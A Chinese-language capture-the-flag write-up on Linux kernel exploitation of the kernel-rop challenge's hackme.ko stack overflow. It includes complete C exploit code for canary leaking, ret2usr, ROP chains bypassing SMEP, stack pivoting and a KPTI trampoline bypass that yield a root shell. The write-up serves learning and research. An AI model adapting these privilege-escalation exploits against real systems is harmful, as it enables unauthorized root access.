此博客参考POST如下:
Learning Linux Kernel Exploitation - Part 1
Learning Linux Kernel Exploitation - Part 2
第一次进入Kernel Pwn领域,实验采用kernel-rop文件下载地址:https://ctftime.org/task/14383,对于Kernel Pwn,核心是利用LKM(Loadable Kernel Module,可加载内核模块)中存在的漏洞,而这些模块是在内核启动时自动运行的。
上述链接下载下来得到的压缩包包含文件:
- Dockerfile:dock文件
- initramfs.cpio.gz:使用cpio于gzip压缩过的linux文件系统
- pow-solver.cpp
-run.sh:启动linux内核的shell脚本,通常使用qemu虚拟机运行linux内核 - vmlinuz:经过压缩的linux内核,有时也叫作bzImage
- ynetd:
kernel
vmlinuz或者bzImaege可以使用如下命令进行提取,提取后的linux内核为elf文件格式
…/tools/extract-image.sh ./vmlinuz > vmlinux
其中extrac-image.sh内容如下
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
提取出来的内核文件,其核心价值在于可以使用ROPgadget 寻找其内核模块中的gadgets,代码如下
ROPgadget --binary=vmlinux > ./gadgets
文件系统
除了内核模块,最重要的是内核中的文件系统,通过如下命令可以获取解压后的文件系统
./tools/decompress.sh initramfs.cpio.gz
其中decompress.sh内容如下:
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
进入initramfs文件夹,可以看到其中诸多文件,通常需要关注的文件有
- /etc目录:该目录通常保存内核启动时的初始化脚本,因为在本机上进行调试时,可以通过修改/etc目录下的启动脚本,更改系统启动后的初始权限,从而简化本机漏洞利用过程,比如可以修改rcS或者inittab文件中的用户权限。
- hackme.
本程序中inittab文件内容如下:
::sysinit:/etc/init.d/rcS
::once:-sh -c ‘cat /etc/motd; setuidgid 1000 sh; poweroff’
在initab文件中,可以看出内核启动后,默认执行etc/init.d目录下的rcS脚本,并且之后开启shell,默认设置用户id为1000,这说明在内核启动后用户并没有root权限,对于本地调试十分不方便,故将其改成0,从而内核启动后,用户便以root权限运行shell
::sysinit:/etc/init.d/rcS
::once:-sh -c ‘cat /etc/motd; setuidgid 0 sh; poweroff’
查看rcS文件,其内容如下,可以发现内核在启动后是加载了hackme.ko模块,同时赋予其666的权限。
#!/bin/sh
/bin/busybox --install -s
stty raw -echo
chown -R 0:0 /
mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp && mount -t tmpfs tmpfs /tmp
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
insmod /hackme.ko
chmod 666 /dev/hackme
从而可以判断出该程序利用点在于hackme.ko可加载内核模块中,使用ida反汇编该程序,可以发现其核心逻辑为通过hackme_init()注册名为hack的设备,并且该设备支持hackme_write、hackme_read、hackme_open和hackme_release操作,hackme_write、hackme_read为核心逻辑,其反汇编结果如:
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 canary; // [rsp+80h] [rbp-20h]
_fentry__();
v5 = v4;
canary = __readgsqword(0x28u);
if ( v4 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf, v5);
return v5;
}
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 v5; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+80h] [rbp-20h]
_fentry__();
v5 = v4;
v9 = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp, v4);
if ( v5 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
BUG();
}
_check_object_size(hackme_buf, v5, 1LL);
v6 = copy_to_user(data, hackme_buf, v5) == 0;
result = -14LL;
if ( v6 )
result = v5;
return result;
}
从上述反汇编结果来看,程序是存在栈溢出的,tmp数组大小为32*4=128=0x80大小,而调用copy_to_user与copy_from_user之前,判断数据长度为0x1000才会检测出栈溢出,长度为0x80-0x1000之间的数据同样可以造成栈溢出
kernel下的mitigation
与用户态的pwn一样,kernel也有防止漏洞利用的相关mitigation
- Kernel stack cookies:同用户态下的canary
- Kernel address space layout randomization:同用户态下的ASLR
- Supervisor mode execution protection (SMEP):当处理器处于 内核模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN);在内核空间,通过CR4寄存器的20th bit来使能该mitigation;在qemu启用脚本里,使用“-cpu +smep“”启动该保护,使用“-append nosmep”关闭该保护
- Supervisor Mode Access Prevention (SMAP):类似于 smep,禁用内核模式访问用户空间的代码;在内核空间,通过CR4寄存器的21th bit来使能该mitigation;在qemu启用脚本里,使用“-cpu +smap“”启动该保护,使用“-append nosmap”关闭该保护
- Kernel page-table isolation (KPTI) :使用该mitigation,内核将完全分离用户空间和内核空间页表,而不是使用一组同时包含用户空间和内核空间的页表,一组页表包括内核空间地址和用户空间地址,但它只在系统以内核模式运行时使用。在用户模式下使用的第二组页表包含一个用户空间的副本和一组最少的内核空间地址。可以通过在-append选项下添加kpti=1或nopti来启用/禁用它。
ret2usr(关闭kaslr、smap、smep、kpti)
kernel ret2usr与用户模式下的ret2usr有些许差别,内核中的ret2usr攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户空间,以 ring 0 特权执行用户空间代码完成提权等操作。
该方法使用前提是未开启smep与smap保护,同时为了本地提权的方便,需要关闭kaslr,修改后的run.sh如下:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64 \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr nopti quiet panic=1"
可以看到qemu需要读取flag.txt,否则内核启动不成功,可以在文件夹下创建空的flag.txt,之后便可以成功启动。在qemu启动linux内核之前,需要将我们解压修改后的initramfs重新压缩成新的initramfs.cpio.gz,因为qemu读取的是initramfs.cpio.gz
成功启动后如上图所示,可以开始尝试编写ret2usr,由之前知识可以知道,内核加载了hackme模块,而该模块注册了名为hackme的设备,该设备支持的hackme_write与hackme_read存在栈溢出漏洞,所以首先需要与该设备进行交互,并尝试触发漏洞。
int global_fd;
void open_dev()
{
global_fd=open("/dev/hackme",O_RDWR);
if(global_fd<0){
puts("[!] Failed to open device\n");
exit(-1);
}else{
puts("[*] Opened device");
}
}
void leak_canary()
{
unsigned n =20;
unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes long
ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
cookie=leak[16];//0x80/8=0x10=16
printf("[*] leaked %zd bytes\n",r_bytes);
printf("[*] leaked canary: %lx\n",cookie);
}
泄露canary(cookie)之后,便可以构造payload,主要代码如下,这里为什么需要3个dummy呢,因为查看hackne_write函数汇编代码,可以看到函数保存了rbp/r12/rbx三个寄存器,这里这么做是为了堆栈平衡。
unsigned long user_cs,user_ss,user_rflags,user_sp;
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs()
{
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
void overflow()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;//rbx
payload[off++]=0x0;//r12
payload[off++]=0x0;//rbp
payload[off++]=(unsigned long)escalate_privs; //ret
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
save_state()函数用于保存程序从用户态进入内核态时的寄存器状态,这些寄存器包括cs、ss、rflag、rsp、rip,在这里rip则是保存的get_shell的地址,save_state()至关重要,因为程序持有两种寄存器值集,一种是用户态下的寄存器值,一种是内核态下的寄存器值,不管是从内核态进入用户态还是从用户态进入内核态,都需要保存前一个状态的运行环境,在我们编写shellcode时,从用户态进入内核态时,同样也需要保存我们用户态的寄存器值,以便从内核态返回用户态时程序可以正常执行。这里通过内嵌汇编保存cs、ss、rflag、rsp的值,rip的值则是直接指向get_shell函数,这样从内核态返回用户态时,直接执行get_shell()函数
escalate_privs()函数通过调用commit_creds(prepare_kernel_cred(0))获取root权限,这也是最常用的提权手段,主要,这里获取root权限仅仅是改变了当前用户的权限,并没有开启对应的shell。故还需要get_shell()函数来获取shell。在x86_64机器上,在调用iretq之前需要调用另一个指令swapgs,这个指令用户交换用户态与内核态的GS寄存器值。
这段shellcode写的十分精巧,需要多看多学
最终函数调用顺序为
int main()
{
save_state();
open_dev();
leak_canary();
overflow();
puts("[!] Should never be reached");
return 0;
}
在关闭kaslr、kpti、smep、smap情况下,执行结果如图
开启smep保护
开启smep之后,原来通过在用户空间堆栈上布置代码的方式便会失效,因为smep会使得在内核空间无法执行用户空间的代码。
覆写CR4的20th bit
正如前文所说,smep的启用是通过CR4寄存器的20th bit标识的,所以midas师傅尝试在内核栈上布置shellcode,通过native_write_cr4(value)函数去改写CR4的值,以关闭smep,但方法最终失败,通过dmesg命令,可以看到如下
unable to execute userspace code (SMEP?) (uid: 1000)
作者的解释是内核开发人员意识到了hacker会改写CR4的标志位
以关闭mitigation,并作出了对应的防御措施,即内核启动后不管CR4如何赋值,内核会立刻将其改变回原来的值。
构造完整的ROP链
ROP链的构造思路很简单:
- ROP进入prepare_kernel_cred(0)
- ROP进入commit_creds(),其参数为1的返回值
- ROP进入swapgs;ret
- ROP进入iretq ,堆栈上需要部署RIP、CS、RFLAGS、SP、SS
在这里构造ROP链思路不难,但是实际构造时需要不断尝试,因为ROPgradget搜索到的gadget可能处于不可执行的页。
ROPgadget可以寻找到swapgs相关的gadgets,却找不到iretq,这里可以使用如下命令
objdump --section .text -d ./vmlinux|grep iretq
–section指定选取为.text代码段
-d 用于反汇编vmlinux中指定的区域
最终完整的ROP链如下
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret
unsigned long iretq=0xffffffff8100c0d9;
void overflow()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=pop_rdi_ret;
payload[off++]=0x0;
payload[off++]=prepare_kernel_cred;
payload[off++]=pop_rdx_ret;
payload[off++]=0x8;
payload[off++]=cmp_rdx_jne_pop2_ret;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=mov_rdi_rax_jne_pop2_ret;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=commit_creds;
payload[off++]=swapgs_pop_ret;
payload[off++]=0x0;
payload[off++]=iretq;
#这段数据在栈上分布的时候,payload[0]位于低地址
#而保存寄存器的时候,push的顺序为ss、sp、flag、cs、rip
payload[off++]=user_rip;
payload[off++]=user_cs;
payload[off++]=user_rflags;
payload[off++]=user_sp;
payload[off++]=user_ss;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
栈迁移
栈迁移适用的环境是存在栈溢出的漏洞,但可溢出的范围有限的情况下。例如只能覆盖return address。
在用户态的二进制利用里,栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!(参考)CSDN
而在内核态进行栈迁移则简单的多,因为在内核中存在诸多可以修改rsp/esp的gadgets,在这种情况下,通常做法是寻找到改变rsp/esp为固定值的gadget(例如 mov rsp,#立即数),这样通过这种gadget便可以将栈迁移到立即数对应的位置,我们只需要保证所选用的gadget是处于可执行的页中即可。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
int global_fd;
void open_dev()
{
global_fd=open("/dev/hackme",O_RDWR);
if(global_fd<0){
puts("[!] Failed to open device\n");
exit(-1);
}else{
puts("[*] Opened device");
}
}
unsigned long user_cs,user_ss,user_rflags,user_sp;
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}
unsigned long cookie;
void leak_canary()
{
unsigned n =20;
unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes long
ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
cookie=leak[16];//0x80/8=0x10=16
printf("[*] leaked %zd bytes\n",r_bytes);
printf("[*] leaked canary: %lx\n",cookie);
}
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret
unsigned long iretq=0xffffffff8100c0d9;
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
unsigned long *fake_stack;
void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
// the rest of the chain is the same as the last payload
fake_stack[off++] = 0x0; // rdi <- 0
fake_stack[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
fake_stack[off++] = pop_rdx_ret;
fake_stack[off++] = 0x8; // rdx <- 8
fake_stack[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
fake_stack[off++] = 0x0; // dummy rbx
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
fake_stack[off++] = 0x0; // dummy rbx
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
fake_stack[off++] = swapgs_pop_ret; // swapgs
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = iretq; // iretq frame
fake_stack[off++] = user_rip;
fake_stack[off++] = user_cs;
fake_stack[off++] = user_rflags;
fake_stack[off++] = user_sp;
fake_stack[off++] = user_ss;
}
void overflow()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=mov_esp_pop2_ret;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
int main()
{
save_state();
open_dev();
leak_canary();
build_fake_stack();
overflow();
puts("[!] Should never be reached");
return 0;
}
这里有两处注意点:
- 这里 build_fake_stack()通过mmap申请了0x5b000000 - 0x1000处大小为0x2000的堆栈,为什么不直接申请0x5b000000 处的空间呢,这是因为像prepare_kernel_cred()和commit_creds()这样的函数调用它们内部的其他函数,导致堆栈增长。如果我们将esp指向页面的确切起点,那么堆栈将没有足够的空间增长,它将崩溃。
- mmap申请了两个页大小的内存空间(0x1000为一个页),而这两个页大小的内存空间不代表我们申请了就会在页表里存在其对应的物理地址的映射,fake_stack[0] = 0xdead; 这一操作保证了我们所申请的内存空间有其对应的物理地址,这样我们就可以在第二个内存页里放置我们的shellcode
开启KPTI保护
KPTI分离了用户空间页表和内核空间页表,系统存有两种页表,一种页表包含所有的用户空间地址与内核空间地址,仅能在内核态使用;一种页表包含用户空间地址和小部分内核地址,只在用户态使用。
开启KPTI后,完整ROP链的方法和stack pivot的方法均会失效,且显示错误类型,如下,均为segment fault
这表明我们已经返回了用户态,但由于我们所使用的gadget所属于的页表仍处于内核空间,由于kpti的保护,我们无法执行。
bypass KPTI可以由以下方法:
- 正如上图,程序显示segment fault,即段异常错误,系统发生异常时会去寻找异常处理函数,可以使用signal handler复写segment fault对应的异常处理函数,通过signal(SIGSEGV, get_shell);将其改为我们所对应的获取shell的函数地址,则程序发生segment fault时将自动执行我们指定的函数
- 借助KPTI trampoline技术,该技术基于思想:如果系统调用正常返回,那么内核中必须有一段代码将页表交换回用户态表,因此我们将尝试重用这些代码。这段代码称为KPTI trampoline,它所做的是交换页表、swapgs和iretq。
KPTI trampoline
Midas使用的是swapgs_restore_regs_and_return_to_usermode()函数,可以在/proc/kallosyms轻松查到其地址,其在IDA中部分代码如下
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
...
它首先通过从堆栈pop恢复许多寄存器。然而,我们真正感兴趣的是它交换页表、swapgs和iretq的部分,而不是这部分。简单地ROP到这个函数的开始部分工作得很好,但是它将不必要地扩大我们的ROP链,因为需要插入大量的虚拟寄存器。因此,我们的KPTI trampoline将位于swapgs_restore_regs_and_return_to_usermode + 22,这是第一个mov的地址。
如下是程序真正有用的地方,即包含swapgs和iretq的代码
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
...
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
...
.text:FFFFFFFF81200FC7 iretq
可以看到程序在swapgs时pop了两个寄存器rax和rdi,所以shellcode的时候我们需要2个dummy去填充着两个pop,同样
需要注意,在iretq时,堆栈上需要不知道rip、cs、rflags、sp、ss寄存器,最终代码如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
int global_fd;
void open_dev()
{
global_fd=open("/dev/hackme",O_RDWR);
if(global_fd<0){
puts("[!] Failed to open device\n");
exit(-1);
}else{
puts("[*] Opened device");
}
}
unsigned long user_cs,user_ss,user_rflags,user_sp;
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}
unsigned long cookie;
void leak_canary()
{
unsigned n =20;
unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes long
ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
cookie=leak[16];//0x80/8=0x10=16
printf("[*] leaked %zd bytes\n",r_bytes);
printf("[*] leaked canary: %lx\n",cookie);
}
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret
unsigned long iretq=0xffffffff8100c0d9;
unsigned long kpti_trampoline=0xffffffff81200f10+22;
void overflow()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=pop_rdi_ret;
payload[off++]=0x0;
payload[off++]=prepare_kernel_cred;
payload[off++]=pop_rdx_ret;
payload[off++]=0x8;
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++]=kpti_trampoline;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
int main()
{
save_state();
open_dev();
leak_canary();
overflow();
puts("[!] Should never be reached");
return 0;
}